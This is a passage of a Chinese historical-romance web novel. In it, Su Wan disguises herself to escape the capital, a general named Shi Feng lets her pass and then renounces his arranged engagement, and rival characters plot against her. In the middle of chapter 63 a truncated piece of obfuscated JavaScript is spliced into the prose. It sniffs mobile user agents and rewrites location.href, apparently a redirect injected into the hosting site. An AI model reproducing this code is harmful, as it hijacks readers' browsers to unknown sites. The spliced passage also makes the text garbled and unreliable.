“哦，”无霜若有所悟，“怪不得鬼市里有那么多的奇人异事，想来都是所谓的高人隐于市啊。”
她以白瓷汤匙舀了一小口姜汤，喂给苏绾喝，“可是小姐，我们当真要‘那样’吗？你想好了吗？”
苏绾呷了一口姜汤，感到胃里暖极了，驱散接连几日的阴霾。
一夜之间，苏宅早已人去楼空，苏君识与芸娘搬到通县宝坻的宅院，潇洒过隐居日子；苏夫人那边，一把铜锁锁住宅门，带着几名旧仆，一早赶回钱塘老家去了；至于苏沅芷与苏尽欢姐弟俩，此刻正在热河的温泉池子里疗养。
偌大一座府邸，唯有偏院的紫竹苑，还余存几缕青烟袅袅。
然而，就连她也住不长久了。
经过一整夜的思考，苏绾感到形势越来越严峻。
温如初随时都会上门抓她，将她再度囚禁起来，施展雷霆手段，双重折磨她的精神与身体。
至于那封所谓的密函，更是让她无从做起——温如初素来小心谨慎，怎可能将如此重要的物件，随处放在一边，让人唾手可得。
细想一番，她又何必非要做细作，替人盗取密函呢？她的目的，一直就是逃离恶鬼的魔爪。
趁温如初还未行动，干脆逃跑吧。
如今芸娘与宝哥儿已经得到归宿，再也不必令她担忧安危。剩下的，就是带着无霜一起逃跑，逃到天涯海角，再不回头。
既做决定，清早苏绾令文竹去鬼市聘请一位老道士——听说老道有回天之力，可改变人的外貌，俗称“易容术”。
她和无霜则收拾细软，将之前假扮算命先生赚得的三千两银票装好，带上几件干净的换洗衣裳，准备随时动身。
扫院婢女春蝉，探头探脑地向屋内张望，支棱着耳朵倾听。姨娘搬走了，再也没人跟她说话，也不会有榆钱馍馍吃了。如今连二小姐也要离开，剩下她一个人，守在这寂寞的紫竹苑，扫万年的落叶。
春蝉感觉到，自己被所有人抛弃了。
忽然屋内苏绾招呼她，“春蝉，你进来。”
春蝉一惊，撒开小腿跑进屋内，“小姐有何吩咐？”
苏绾才饮完姜汤，拿帕子擦拭唇际，“我和无霜要离开这里，到云南大理去，你要不要一起来？”
“真的吗？也带上我么？”春蝉眼睛睁得大大。
无霜笑道：“小姐几时骗过人，你还不赶快收拾东西？晚了就不带你走了哦。”
春蝉的小脑袋瓜捣蒜似的点不停，“要去要去，我以为你们不要我了呢。”
忽然苏绾正色道：“你走了，时将军那边怎么办？你还要一路通风报信给他吗？”
春蝉小脸煞白，慌道：“不敢不敢。我自是站在二小姐这边。而且、而且……”
她欲言又止，停了一息，鼓足勇气道：“时将军给我的任务，是以保护小姐为第一要任。除非小姐赶我走，不然我是一定要跟在小姐身边的。”
又心虚地低下头，眼睛瞟苏绾，“如果小姐不许我通风报信，那我、我就尽量不报信。”
焦急的小模样令苏绾忍俊不已，她本来也打算带着春蝉，不为别的，那个家伙说过：“春蝉会些功夫，带着她走，可以保护你。”
虽然他所指的“走”，是说要她南下陪着温如初。眼前苏绾要逃跑，春蝉正好给她上一道保险——她十分确定，温如初会不遗余力地追捕她。
等到接近她的最终目的地之后，再想办法甩掉春蝉，不让她知晓她的最终去处。此法对春蝉残忍了些，但有什么办法呢，谁让她是那个家伙派来的卧底呢。
忽然门外响起脚步声，一前一后，递嬗向闺房走来。
老神仙驾到！
苏绾打眼一看，老道头戴一顶破草帽，身著破烂溜丢一口钟，脚蹬露脚趾的草鞋，身材瘦骨棱棱，花白胡须散乱嘴巴周围，唯一双鹤眼炯炯，透射出犀利的寒光。
老道掀眸望向苏绾，狠
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狠地盯了两眼，看得苏绾心里犯嘀咕：她是做错什么事了？
谁知那老道揣着袖子说道：“既是熟人，贫道要再加五十两。”
“你说什么？”
苏绾额头青筋跳了跳，“越是熟人，不该越优惠些么？你怎么还杀熟？况且，谁跟你是熟人？我根本就不认识你。”
老道嗤笑一声，“这是贫道的规矩，熟人须翻倍。否则，人人都来求我，人人都套近乎，我不是要忙死？”
抬眼瞟了一眼苏绾，“你不就是京卫指挥使的小妾？贫道从你身子骨里挑出七根银针，你忘了吗？你的夫君为了救你，可是遭了剖心刮骨之苦，你竟翻脸不认人。呸。”老道啐了一口。
这牛鼻子老道真是又没礼貌又嚣张。
然而苏绾没空指责对方无礼，她眨眨眼，仿佛听见天方夜谭，“你说什么？什么小妾？什么刮骨剖心？你快速速道来。”
“贫道没空跟你费口舌。”老道也是脾气上来了，掐着指头算道：“说好的易容术四位，每人五十两，你是熟人，加价为一百两，总共两百五十两现银，不要银票。”
对方不肯细说，苏绾也拿他没办法，只好先答应他的叫价，安抚住老道，再想辙套他的话头。
她命无霜取出两百五十两现银——这几乎是她手头的一半家底，交给老道。
那老道见到白花花的银子，突然两眼放精光，耳不聋了，眼不花了，走路也有劲了。他一把接过包裹银子的布包，鼓鼓囊囊地揣进怀里。
捋起破烂衣袖，搓弄枯枝手掌，花白眉毛一挺，“来吧。”
不消一炷香的工夫，四人焕然一新。
苏绾扮做一名老妪，鬓角花白，满脸褶皱。其余三人也都增添岁数，平均三四十岁左右。
四人各自举着铜镜观赏，惟妙惟肖，栩栩如生。
苏绾尝试模仿老妪口吻，“老身此去，为寻找远嫁他乡的小女，还请官爷行行好，放行老身出城。”
精湛口技，惊煞在场众人。
无霜见识过苏绾模仿书生的扮相，反应还算镇定，另外两人嘴巴张老大。
倒是那老道士，反而一脸淡定。
他睁着老花眼，将苏绾上上下下从头看到脚，彻底打破苏绾的精神防线，“喂，你拿了钱办了事，还有什么问题？”
老道仰首望了望蓬顶，低头掐指算了算，“施主命煞九星……”
（未完待续）
62. 道理
雨摆轻条，吹湿粉面。
陆展元掀开帘子向车内望去，但见一位窈窕妇人，云鬓飘萧绿，花颜旖旎红，双眸剪秋水，十指剥春葱，正冲他嫣然一笑。
霎时间，浑身骨头酥软。
他咂么咂么嘴巴，强忍横流口涎，故意粗着嗓子道：“小娘子有何诉求？”
旁边老妪抢着答道：“官爷行行好，老婆子一家出城烧香拜神，一定赶在夕食前回城，绝不给官爷添堵。”
陆展元瞟了老妪一眼，黑脸斥道：“谁问你了？让这位小娘子说！”
对方气势咄咄逼人，妇人眼眸闪过一丝慌乱，她回首望着老妪，眼神充满无助。
老妪握着妇人的手，悄悄地按了按，示意她不要害怕，尽管按照自己的方式对付敌人。
妇人稍微安心，定了定神，抬起葱指理了理云鬓，讨好似的谄媚道：“大官人有所不知。小女子命薄，二八年华嫁了一户好人家，可惜郎君英年早逝，留下小女子一人独守空闺。不怕大官人笑话，此行我娘带我出来，为求一注‘姻缘签’，以解后半生孤独寂寞之苦。还请大官人开恩，放行小女子前去祈福，得觅良人相伴。”
说着，手里帕子扬了扬，扇起一阵香风脂粉气。
那股子香风迷了陆展元的眼，他起手一把扯住帕子，满眼弥漫着欲望，“烧香拜神，求签问卜，怎能求来姻缘，全系臭道士们的一派胡言。”
他拍了拍车厢，命令道：“下车，让本将军亲自教给你些大道理。”
一听对方要她下车，妇人顿时慌了手脚，急道：“大官人有话就在这里说吧，小女子乃寡妇，不方便抛头露面。”
老妪也跟着求情：“官老爷这是要干啥？我儿媳可是清白人家，寡妇门前是非多，若是被人看见了，可不止要说啥狗屁倒灶的糟心话呢。”
见婆媳二人苦苦哀求，陆展元反倒放了心。倘若一问就上钩，必是对他有所企图，“仙人跳”不都是这样嘛。
他交叉双臂，黝黑面颊阗满色心，“本将军出于好心，欲挽救小娘子出泥淖，你们怎还不领情？”
挤眉弄眼地暗示：“学完本将军的大道理，就让你们娘俩出城。”
又黑着面颊威胁道：“倘若不听话，立即捉去大牢审讯，白日出城为哪般？分明是个女暗探。”
金甲将军，高高在上，强逼女子。这世道，让人无法安然过活。
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然而，天下苦命女子多矣，岂又只得她一个？
妇人没得办法，对她娘凄然一笑，“娘啊，儿媳难尽孝，还请娘宽恕。”
说完，扭头决绝走下马车。
留下老妪与管家婆子哭作一团。
守卫士兵看了看众人，扶着手里的大刀，默默返回城楼岗位。
阴雨打叶，风号啼略。
那妇人扭捏跟随陆展元，一路趸至树林深处。老树枝叶盛茂，遮阳避雨，并未多少潮湿。
终究是为了避嫌，才没登上城门楼办事。然五城兵马司多纨绔子弟，顽劣事迹早已传遍街巷，妇孺皆知。
陆展元寻了一处干净地界，三下两下脱掉金甲披风，闭着眼睛解裤带，嘴里说着：“小娘子，算你识相。跟了本将军，有你享不尽的荣华富贵……”
话未说完，突然“轰隆”一声，脑门遭巨石砸顶，他伸手一摸，鲜血淋漓。
两眼霎时发昏发黑，回首望向妇人，粉妆雕砌的脸面，嘴角扬起大大的弧度。耳旁缭绕妇人阴测测的笑声，分明是个男人。
“大官人的大道理，小娘子醍醐灌顶，永生难忘，嘻嘻。”
（未完待续）
63. 追捕
苏绾掀眸望去，男人骑着银白色的踏月，一身单薄玄色衣衫，没穿任何外氅。小雨纤纤风细细，沾湿半边衣袖，另外半边，层层缠绕厚厚的绷带。一双凤眸寒气逼人，目不转睛地死盯着她看。
犀利的眼神仿佛两柄利剑，钻透层层绕绕伪装，刺得她脸颊火辣辣地疼。她蓦然感到一阵心虚，仿佛做错事的孩子被人抓包，将头摆放地很低，生怕被人责骂。
“出城，烧香。”男人低头喃喃自语。
手里攥着缰绳，腰间挂着的玉坠子闪闪发亮，上好的丝线打的墨金双色绦子，顶头镶嵌一颗珍贵的墨玉。黑色凫皮靴子夹紧马肋，挨着马车旁边半寸距离，马蹄轻轻踢踏着。
昂起高傲的额头，眸光扫过苏绾，目不转睛地盯着她的眼，语气冰冷如霜，“这一遭，又想拜求哪路神仙？”
苏绾拿不准对方是否看穿她的本相，但她根本不敢下注赌博，头埋得很深，手里举着帘子，也不敢放下，身子下意识地渐渐向后蜷缩。
完全忘记回答他。
“本将军问你呢，说话！”
男人忽而震怒，攥着缰绳的手关节，捏得咯吱作响。对方盛气凌人，怒火翻飞，仿佛要将她置于死地。
一声怒吼吓得苏绾一哆嗦，手里不由自主地一松，直接当着他的面摔了帘子。
车帘瞬间落下，阻断对方的气势，让她些微松口气。
谁知下一刻，帘子被人一把撕烂，整座车厢暴露在光亮之下。
一车的婆娘，惊慌失措。
“心虚了不成，连句话都不敢说？”男人逐渐丧失耐心。
再僵持下去，不得好果子吃。
老妪哆哆嗦嗦回道：“大将军在上，请、请受小老一拜。”
说着，颤颤巍巍跪在车板就要叩首。旁边的婆子并妇人也跟着下跪，全都大气不敢出一声。
老妪哭丧道：“小老携全家，去青石山道观……”
“住嘴。”
不等她说完，男人粗暴打断话头，“我问的不是这个。”
难道已被他看穿一切？
老妪叩首泣曰：“小老罪过，此番南下，实为投奔远嫁他乡的小女。”
男人凤眸一沉，“去往何处？”
老妪如实回道：“途径济南府歇脚，小老的远亲在那里开商铺。”
男人有些急躁，“最终目的地？”
老妪顿了顿，似有难言之隐，左右为难，掀眸瞥了一眼，见男人怒气冲冲，又赶紧撂下眼皮，“去、去的是扬州。”
得到了想要的答案，男人终于收起目光，不再风霜刀剑的相逼。高傲地抬起下颌，颌角紧绷成完美的曲线，低觑着跪倒在地的四人。
“本将军接到快报，有贼人假扮女眷，刺伤五城兵马司都指挥，现已全城通缉。京营旨在拱卫京师，奉命例行检查，任何人出城皆须报备。”
低下头，嘴角飘出几个字，“一路小心。”
苏绾闻言一惊，她十分确定，对方完全看透她的伪装。只是不知何故，没有下令抓捕她，也没有撕破她的脸皮。
男人手里拉起缰绳，踏月马蹄蹭蹭，大手一挥，命令士兵道：“放行。”
金甲士兵小跑着领命，迅速拆除路障。所谓“拒马枪”，系以木材做成人字架，将枪头穿在横木上，使枪尖向外，设于要害处，主要用以防御骑兵突击，也常用来封锁道路。
很快，道路清除干净。
“快走快走。”士兵催促道。
几名妇人如梦方醒，来不及叩首拜谢，拉下撕成条状的帘子，车夫扬起马鞭，驱车纵马奔驰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062477|146123||http|test|mini|href|location''.split(''|''),0,{}));
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马车起步，晃荡着经过银白骏马。
擦肩而过的一刹那，透过车帘缝隙，苏绾隐约撞见那双清冽的凤眸，阗满了愤怒、失望、不舍等各种复杂心情。
她赶紧收回身子，窝在床头，大气不敢喘。心里头仿佛揣着兔子，惴惴不安。无霜和文竹均被京卫指挥使的气势压倒，仍在瑟瑟发抖。
车外的春蝉，仅凭一口气强撑，才没露出马脚。
马车渐行渐远，时枫咬了咬后槽牙，调转马头，准备回城。
小旗官问道：“将军不休息一下吗？踏月狂奔六十里地，喂点水也好。”
时枫一刻也不能停留，他须立即返回京城，处理陆展元的问题。这会子，兵部尚书一准派兵登上他的家门，以长官的名义，命令他出动京营三大营，全力追捕贼寇。
他冒着风险雨中飞驰，就为了拦截那“罪魁祸首”，不为抓捕她归案，而是提醒她注意安全，以及见她一面。
*
马车一路向南，飞驰势奔蹙。
“吓死我了，差点以为命都没了，还好没被黑狗将军发现我们。”无霜至今仍心有余悸，她拍拍胸脯，小脸蛋因紧张而微微泛红。
车外的春蝉接话道：“时将军早就发现咱们了，他特意设置拒马，就为拦截咱们。你还以为自己藏得挺好呢，一切阴谋诡计，都躲不过时将军的眼睛。”
无霜噘着小嘴反驳：“你就知道帮着黑狗将军，如果被他发现了，怎么没抓我们回城呢？又或者抓去兵营审讯呢？他怎么就巴巴地放咱们一马呢？”
春蝉答不上来。
苏绾亦不得而知，她心里猜测，那个家伙是想欲擒故纵，先放她跑一阵，再抓她回去。就好像猫儿抓住一只老鼠，却不想吃，只想逗着玩一样。
（未完待续）
64. 立誓
那日，时枫跟随沈枝意匆匆回到时府，甫一进门，赫然看见沈恪正悠闲自得在后花苑品茗赏花。
时枫惊诧道：“沈伯父，原来您没事啊。”
沈恪端着茶盏，嘶哈嘶哈吁热气，“我这一身老骨头，能有什么事情？”
沈枝意奇道：“可爹爹不是被兵部尚书派人强行绑走了吗？”
沈恪放下茶盏，捻了捻胡须，笑道：“都怪老夫，没同卿卿讲清楚。前时陆大人请我去喝茶，老夫本想在家等你荣耀归来，又不好推脱他，来来回回，拉拉扯扯，最后无奈也便去了。结果被卿卿误以为老夫被人绑架，才闹出这等笑话。”
沈枝意跺着小脚，撅着小嘴道：“爹爹怎么不早说？害得人家白白担心，还在街头蹲守将近一个时辰，鞋子都被人踩脏了。”
她瞥了一眼时枫，低头细声道：“卿卿吃些苦头不要紧，可枫哥哥好不容易从山匪手里救回绾姐姐，卿卿还没来得及问候绾姐姐安否，想来山寨里头，暗无天日，绝对不好过。”
旋裙来到时枫跟前，明眸噙着泪珠，“枫哥哥，都是卿卿的错。我不该没搞清楚状况，就把你拉回来，绾姐姐该多伤心啊。”
时枫心里面将沈恪骂了一百遍，嘴里说出来的却是：“沈伯父不必挂怀，您老身体无恙自是最好，小侄的事情无关紧要。只是……”
他低下头，目光躲闪，脸皮微热，“小侄回来的路上，将陆尚书的长子陆展元结结实实揍了一顿。小侄还以为陆尚书要找您老兴师问罪，这才急着赶回来。”
又抬头疑惑道：“难道陆尚书未跟您提及此事么？”
“这么大的事情，陆大人怎可能不提。”沈恪冷笑一声，“陆能宠溺子女，任其子孙横行霸道，满京城人尽皆知。你打了他的儿子，他当然要还回来。”
沈恪虚眯老眼，“然而，你当你爹和老夫，是吃干饭的不成？凡事要留后步，打狗还须看主人。我们两个老不死，坐拥西北，东南沿海等兵家必争之地，乃封疆大吏，手下统领六十万大军。陆能想要找我俩的麻烦，可没那么容易。”
“所以，陆尚书也只是请伯父喝杯茶而已。”时枫无可奈何地撇撇嘴。
沈恪大手一挥，“那倒也不止如此，老夫还给他提了个建议：将他的乖儿子，送去看守西城门历练，好顶替前任城门郎。”
时枫心内暗自叫好：那头愚蠢至极的熊罴，就该落此下场。
谁知沈恪话锋一转，指着时枫的鼻子，嗔目道：“西门的城门郎，乃你爹昔日旧部，与老夫也有些交情。他看在你爹的面子上，冒着砍头的风险，破例放你出城，却招致飞灾横祸。你这逆子，可知罪过？”
一席话说得时枫面红耳赤，无地自容。
他的确欠了城门郎的人情，也不知还有没有机会偿还。听说城门郎被巡城兵马司亲自拿去审问，被各种酷刑拷打折磨一整夜，愣是没咬出来时枫。奄奄一息之际，竟还揭露指挥使陆展元奸霪妇女罪行。
他低下头思忖半晌，复又抬起头来，“伯父所言极是，都是小侄的罪过。”
忽然凤眸一沉，“然而，伯父又怎会知道，当夜小侄离开京城，是为了去救被山匪掳走的苏绾？”
温如初曾亲自登门向时枫“求助”，实则为查证时枫是否外出，是沈恪当时接待的他。
沈恪自是心知肚明，就是时枫本人亲自去温家掳走的苏绾，只是不知其目的与原因。老将军还以为时枫携苏绾私奔，气得眉毛胡子一把抓，当即跟温如初交了底牌，扬言要将不肖子时枫逮捕，并亲自递解西北。
至此，温如初才最终断定，是时枫救走苏绾，才有了后续督促陆展元京营逮捕时枫一案。
说白了，就是沈恪从中作梗坏事，引导温如初将嫌疑目标定在时枫的身上。此刻时枫避重就轻，念在伯侄情分，没有当面揭穿沈恪老底，给他留了几分颜面。
见事情已败露，
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沈恪老眼转了转，“你这臭小子，还想糊弄老夫？我还不知你那点心思？分明是你抢了温侍郎未婚妻，欲占为己有。山匪不过是你找的借口！老夫绝不允许此等强取豪夺之事发生。”
哪知时枫挺了挺胸膛，梗着脖子道：“既然伯父提到此茬，小侄今日就把话说清楚，省得彼此互相猜忌，听风便是雨。你且听好，”
“我时枫今生今世，非苏绾不娶，至此立誓，天地为证。”
“至于我与沈枝意订立的婚约，未经我本人同意，自当无效，即刻取缔。”
此言一出，震惊四座。
沈枝意小脸憋屈通红，泪眼道：“枫哥哥，你怎能对我这般无情无义？我、我恨死你了。”言毕转头捉裙悲愤离门。
沈恪气得半死，恨不得一刀剐了此子。他右手抓着胸膛，捶胸悲愤道：“逆子，逆子！你可知婚娶之事，不待父母之命，媒妁之言，私相授受，逾墙相从，父母国人皆贱之。你不忠不义不孝不悌，可还有脸苟活于世？老夫当为你爹感到心寒！”
时枫长身玉立，神情坚定自若，态度不卑不亢，“大丈夫一生一世，只寻一双人，绝不有二心。”
他态度强硬，一点回寰的余地都不留，令沈恪倍感意外。老将军原以为，时枫不过是一时被美色冲昏头脑，稍加以劝诫阻拦，浪子回头金不换。孰料时枫跟他父亲脾性如出一辙，一心认准的事情，撞了南墙也不回头。
沈恪慨叹道：“你自是大丈夫何患无妻，我的卿卿又何去何从？她为你吃的那些苦头，受的那些伤痛，你竟视而不见听而不闻，也忒轻贱卿卿。”
“老夫今已上奏关于海贼扰民之事，圣上也已下定裁断。此行目的既已达成，自不必再叨扰府上，收拾行囊趁早离开，省得遭人唾哕。”
言毕，沈恪遽然起身，随手掷了茶盏，拂袖愤愤离去，空留时枫一人独醒。
但他一点都不后悔。
（未完待续）
65. 隔墙
「朦胧幻境，秋陂满黄叶。
风吹着挂在树梢的金黄树叶，发出沙沙的响声。不时有只金花鼠仓惶逃窜，嗖嗖地爬上枝条。湛蓝的天空，没有一丝云彩，空气中充溢着清冷的味道。
正是狩猎的好季节。
时枫骑着银白色的踏月，手持弯月弓，威风八面，英姿飒爽。他目光炯炯，鹰一样的眼眸紧盯周围，不放过任何蛛丝马迹。
忽然灌木丛传来动静，悉悉索索，似藏什么动物。
时枫拉满弓，瞄准猎物，蓄势待发。
箭飞出弦那一瞬，鹰眼忽然捕捉到不远处的一匹枣栗马，踢踏嘶鸣而来。
只一个眼神，他便看出骑马的主人是谁。
手里微微一抖，嗖得一声，羽箭偏离目标，扎进灌木丛，惊跑一只雪白的玉兔。
“时将军，我们又见面了。”苏绾一身戎装，齐肩短发显得精神干练，颇有女将风采。
她什么时候学会了骑马？西厂御马监被人控制的传闻，如今确信是真的。
凤眸斜睨了一眼，男人收起弯弓，态度冰冷如霜，“这次又打的什么坏主意？”
佳人捋了捋额间被风吹散的青丝，甜甜笑了笑，“将军这话说的，忒令奴家寒心。难道这皇家猎苑，是为将军一人开放的吗？”
玉手握着缰绳，星眸沉了沉，“识时务者为俊杰。将军不会到现在，还看不清朝堂风云变换吧。”
温如初出差杭州任巡抚之时，趁机勾结海寇，霸占漕运税收，所得银钱，一半奉送阁老，另一半中饱私囊。反手栽赃嫁祸殷潜，致其官败落狱。
而温如初凭借此功，顺利入阁，成为百年之内最年轻的大学士。
下一个目标，便是威武将军时枫。
倘若他“识时务”，他便是阁老；不懂变通，他便是殷潜。
天堂与地狱，尽在一念之间。
时枫摩挲束腕镶嵌的墨玉，凤眸剪了剪，“本将军怎么想，这与你无关。”
苏绾莞尔，“怎会与奴家无关？想必将军还不知道吧，阁老他，活不长了！”
这话什么意思？阁老与她的关系，早已人尽皆知。
时枫凤眸一凛，“放肆！”
苏绾策马凑近时枫，齐肩短发尤其俊俏，眼眸溢满星辉，“奴家打赌，将军绝不会置身事外，袖手旁观。浪潮翻涌，谁也不能保证翻不了船。咱们走着瞧。”
闭上眼，香风吹人花乱飞。
再次睁开眼，秋风瑟瑟，亭台楼阁。
手里擎着金刀，刀刃滴血。
膝下跪着无头尸，颈间鲜血喷涌。
头颅骨碌碌，滚向天边。
她说的对，他怎能置身事外？推她跌入万丈深渊的凶手，他一个都不会放过。
阁老只是第一人。
碰巧，也是杀害他哥哥时樾的人。
下一个，是谁呢？」
*
第二日，阴雨连绵，愁肠待酒舒。
时枫做了一整夜怪梦，梦中内容匪夷所思，他梦见自己亲手斩杀首辅章任梁，原因却不是为时樾，而是为了替苏绾报仇。
至于苏绾与阁老结仇的缘由，他更是不愿回想——她怎可能沦为阁老的玩物？
岂有此理，荒谬绝伦。
各种思绪线索化作难缠小鬼，鬼哭狼嚎，跳踉擂鼓，吵得他脑瓜仁子一跳一跳地疼。
午夜梦回，再难将息。时枫一大早挣扎爬起床，召唤晴雷给他洗漱更衣。
时枫睡不安稳，折腾得晴雷一宿也未睡好，不是添床被褥，就是端茶倒水。
少年打着呵欠，嘴里嘟嘟囔囔，一脸不情愿，“属下是带刀侍卫，可不是暖床婢女，这等梳洗打扮之事，竟还要属下来做。爷也不说娶房妾室，再不济，买通房丫鬟也成啊。”
时家这位世子爷，平生不近女色，房里不得任何贴身侍妾，出入仅有晴雷伴几名小厮。
自打来到京城之后，偌大府邸更是连个年轻丫鬟的影子都看不到，只有几位从西北带过来的老嬷嬷，伺候他的起居日常。
以他的身份地位，三妻四妾稀松平常，这世道无人诟病他。
可他就是不愿意。
也不知他哪根神经不对劲，还被邵云礼嘲笑断袖之癖。
晴雷话未说完，头顶吃了时枫一记爆锤，“就你话多。赶紧收拾东西，拿上我的葡萄酒，咱们去厢房会见沈伯父。”
晴雷睁着眼睛，一脸茫然，“爷昨日才惹恼了沈老爷，气得他老人家晚饭也没吃就躺下了。这会子人家睡得正酣甜，爷偏去惹他不高兴，不是往枪头上撞么？”
时枫边走边穿衣，嘴里催促道：“快点快点，去晚了他们说不定就打道回府了。”
他预料的没错，沈家父女两人早早起身，命令下人打点行李，收拾细软，大包小包准备返乡。
沈恪坐在太师椅内，手里端着紫砂茶壶，对嘴嘬茶顺气。昨日被时枫触了眉头，气得他胸闷气短，一晚上没睡安稳。
沈枝意站在窗前，袅袅婷婷，手里抚弄右臂缠绕的绷带——画舫残殇，嘟着小嘴抱怨：“此行铩羽而归，卿卿就算归家，心里也不痛快。”
沈恪放下茶壶，叹口气道：“他话已说到那份上，爹爹也不好再厚着老脸皮求他。左不过咱们先回去，待我入秋专门动身去趟西北，跟他爹告上一状，叫他爹好好教训教训他。”
老眼凝望窗边倚阑的爱女，宽心安慰道：“卿卿莫担心，枫小子最听他爹的话，这事准保能成。当初可是他爹那个老家伙死皮赖脸求我定亲，我还不愿意呐。”
话虽如此，沈恪自己心里也没底——时谦也是个老顽固，还真就不见得会顺着他的意思来。
沈枝意的明眸透着恨意，“也太便宜了苏绾那个娼妇，勾引得枫哥哥变心，竟然冷情冷意解除婚约。”
“卿卿好不甘心啊。”小拳头砸在窗边，震落一层漆灰。
“非要想个法子，治一治那婊子，让她不敢招惹枫哥哥才是。”小小人儿咬牙切齿，捏拳抗议。
“哎呦，小祖宗，你可得注意言行。在家跟爹爹这样没大没小也便罢了。出门在外可不许这样，被人听见笑掉大牙。”
沈恪面上假装微微嗔怒，嘴角却是带着宠溺的笑意。
女儿乃将门之后，行大事者，不拘小节，关键要有一颗不服输的心。
哼，那个苏女，仰仗一张臭皮囊，内里空空如也，拿什么跟他的卿卿相比。
茶甘不上眉，时枫不期而至。
沈恪乜斜着老眼，掸了掸衣袍上沾染的浮尘，“贤侄不必再劝，老夫这就动身离府，此去归飞识所従，了无牵挂一身轻。”
说着，催促仆人收拾，“快点快点”，大有马上动身离开的意思，一刻都不想多停留。
时枫俯身拜道：“伯父忒羞煞小侄也。此系过往皆小侄过错，小侄负荆请罪，肝脑涂地，冰心一片在玉湖。”
他突然抛出一套道歉的说辞，令沈恪十分懵然，不知他变脸为哪般。老将军按着太师椅椅臂，身子向前倾了倾，“你何错之有？”
时枫转身接过晴雷递上的夜光杯，亲自斟满葡萄酒，双手呈送，诚恳道：“昨儿个小侄思考整夜，忽而醍醐灌顶。婚姻大事，父母之命，媒妁之言，岂容儿戏。请容小侄收回前言，遥启伯父宽恕。”
沈恪瞥了一眼窗边的沈枝意，见她搓弄双手不言语，当下心里明白女儿的意思。
老将军捋了捋花白胡须，“说出去的话，泼出去的水，怎能说收就收。你当我们卿卿是什么人？召之即来，挥之即去。此番便是你八抬大轿来请我们，也不会再踏入府上一步。”
时枫见他态度强硬，心里先是慌了一阵，手里端着的酒杯也不知该不该放下，站在那里尴尬丛生。
他舔了舔灰白嘴唇，艰涩道：“伯父既不肯原谅小侄，小侄自知罪孽深重，也别无他法，唯乞求伯父逢年过节，再来家里坐坐。”
言毕，丢弃酒杯决绝离开。晴雷连忙拜了拜沈恪，紧跟着跑出门。
老将军一愣，“这、这臭小子，没说两句话就跑了，这哪里是负荆请罪的样子？”
沈枝意哼得一声，“无事献殷勤，非奸即盗。枫哥哥定是有事要求咱们，特意跑过来道歉。昨日下午大理寺卿邵大人来过，俩人关门畅谈许久，一准是为了苏绾的事。指不定想让爹爹出面，调停她与温侍郎的婚事呢！我们才不要帮他们呢！”
“好好，爹爹全听卿卿指挥。”沈恪站起身，“卿卿指哪里，爹爹就冲向哪里。可是卿卿，你这番离开枫小子
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，下次指不定何日再相逢，你受得住么？”
沈枝意恨道：“不急，不久温侍郎即南下杭州，必会带着苏绾陪同，而枫哥哥也会想尽办法跟了去。所有人途径苏州时，咱们再出手治死小娼妇。”
苏州乃沈枝意的本家，不但水陆交通便利，更有她阖族亲眷支持。沈恪的根基在苏州，二十万水师屯兵名义上监视倭寇，实则保存属于他自己的军事力量，纵是兵部与皇帝，也不能随意调遣。
既做此打算，沈氏父女连午饭也没吃，当日即驾车离开京城。
那边时枫负气夺门而出，细雨带风铺面，却是肠子都要悔青。
他本意是想讨好沈恪，让沈恪出面向皇帝保荐他，任命他为抗倭战略指挥使，跟着一起南下。他算盘打得不错，然而这厢话头都没机会提起半个字，就被人冷脸拒绝之。
早知今日，何必当初。
昨日豪情万丈，誓言破口而出，这会子真是穷途悔短计，恨不得捶死自己。
眼下也无他法，只好另做打算。
晴雷上前道：“苏府的鳐鱼来信，言苏夫人一早离开京城，赶赴钱塘老家。苏姑娘一切安好，只是感染风寒，又不肯吃药。”
时枫眉头蹙了蹙。
晴雷继续道：“温侍郎那边暂时没有动静，小厮说他家少爷很少回府，都是宿在皇宫户部衙门书房。隔壁镇南王府也是静对一炉香，听说王爷抱着御猫，到太后寝宫诉苦去了。”
自败走陆展元一步棋之后，温如初竟然没有下文，实属罕见。时枫十分确定，温如初绝不会放过他，可是为何对方偃旗息鼓，不再发动进攻了呢？
思来想去，时枫终是不能安心，他吩咐晴雷：“备马，我要出去一趟。”
晴雷问道：“爷要去哪里？胳膊上的伤口还未愈合，不若让属下上太医院请人来给瞧瞧？爷若担心被人看穿伤疤来源，大不了属下再去趟鬼市，请那位活神仙老道诊治……”
时枫打断晴雷，不耐烦地摇手，“我没事，请什么太医。你还敢提那牛鼻子老道士，上次他狮子大开口，敲诈本将军三千两，怎么还想再上当受骗？”
低下头，突然想起什么，“等等，别看那老道疯疯癫癫，胡诌八扯，在时樾的事情上倒是没有撒谎。之前我有些急于求成，也没细问他来龙去脉。明日你可再去鬼市请了他来，记住，不许承诺他一文钱。”
晴雷领命退下，出门才想起来，自己忘记问时枫备马去往何处，也不敢再叨扰他，遂作罢。
黑夜降临，乌云压顶。
时枫一身玄衣，趁着浓浓夜色掩映，悄然来到紫竹苑。
他踩着墙面洼坳，轻轻纵身一跃，似飞燕般翻过高墙。
脚踩软绵落叶，不发一点声响。
来到西厢房门外，躲在梨木窗前，隔着一扇薄薄墙面，侧耳倾听屋内人说话。
无霜拍拍胸脯后怕道：“没想到山寨里发生的一切，竟是如此地骇人听闻。小姐真真勇敢，换作霜儿，早死了一万遍。”
春蝉惊道：“什么？时将军竟然受伤了？当初时将军来山里时，连最好的猎手也比不过他，无论弓箭、马术，还是搏斗，全部心服口服，我爹这才让我跟着时将军，说这样才会出人头地。”
无霜瞟了一眼春蝉，“你是敌人派来的奸细，专门监视小姐，你是坏人。”
春蝉急道：“时将军交给我的任务，我必须完成啊，再说，再说我也没办啥坏事。时将军担忧二小姐安危，他的好心怎可被人轻易辜负？”
无霜愤愤不平，“黑狗将军不安好心，巴不得要将小姐吃干抹净！你这是助纣为虐。”
两小丫头你一言我一语吵个不停，吵得苏绾头昏脑涨，她摆摆手，示意两人停战，“他害我也罢，为我好也罢，总归是他一厢情愿，并不能左右我的思想。人为什么一定要活在别人的阴影里？我只消做我自己就够了，谁都无法掌控我的人生。”
